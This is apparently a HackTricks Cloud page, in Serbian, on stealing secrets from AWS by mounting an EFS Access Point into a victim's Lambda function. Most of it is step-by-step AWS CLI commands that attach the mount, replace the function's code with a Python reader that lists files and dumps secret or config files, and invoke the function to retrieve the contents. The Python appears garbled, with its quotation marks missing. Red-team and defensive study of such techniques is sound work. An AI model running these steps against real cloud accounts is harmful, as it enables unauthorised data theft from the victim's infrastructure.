AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Iskoristite lambda:UpdateFunctionConfiguration da prikačite postojeći EFS Access Point na Lambda, zatim rasporedite trivijalan kod koji nabraja/čita fajlove iz mountovane putanje kako biste izvezli deljene tajne/konfiguraciju kojoj funkcija ranije nije imala pristup.
Requirements
- Dozvole na nalogu/principalu žrtve:
lambda:GetFunctionConfigurationlambda:ListFunctions(to find functions)lambda:UpdateFunctionConfigurationlambda:UpdateFunctionCodelambda:InvokeFunctionefs:DescribeMountTargets(to confirm mount targets exist)- Pretpostavke okruženja:
- Ciljana Lambda ima VPC omogućen i njeni subneti/SG mogu da dosegnu EFS mount target SG preko TCP/2049 (npr. rola ima AWSLambdaVPCAccessExecutionRole i VPC rutiranje to dozvoljava).
- EFS Access Point se nalazi u istom VPC i ima mount targete u AZ-ovima subnet-a Lambda.
Napad
- Promenljive
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
- Povežite EFS Access Point sa Lambda
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
- Overwrite code jednostavnim readerom koji nabraja fajlove i prikazuje prvih 200 bajtova potencijalnog secret/config file
cat > reader.py <<PY
import os, json
BASE=/mnt/ht
def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
- Pozvati i preuzeti podatke
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json
Izlaz bi trebalo да sadrži listing direktorijuma под /mnt/ht и kratak prikaz izabранog secret/config fajla са EFS.
Uticaj
Napadač са наведеним привилегијама може mount-овати произвољне in-VPC EFS Access Points у жртвине Lambda функције како би прочитао и изнео делјену конфигурацију и secrets услaдиштене на EFS које су претходно биле недоступне тој функцији.
Čišćenje
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

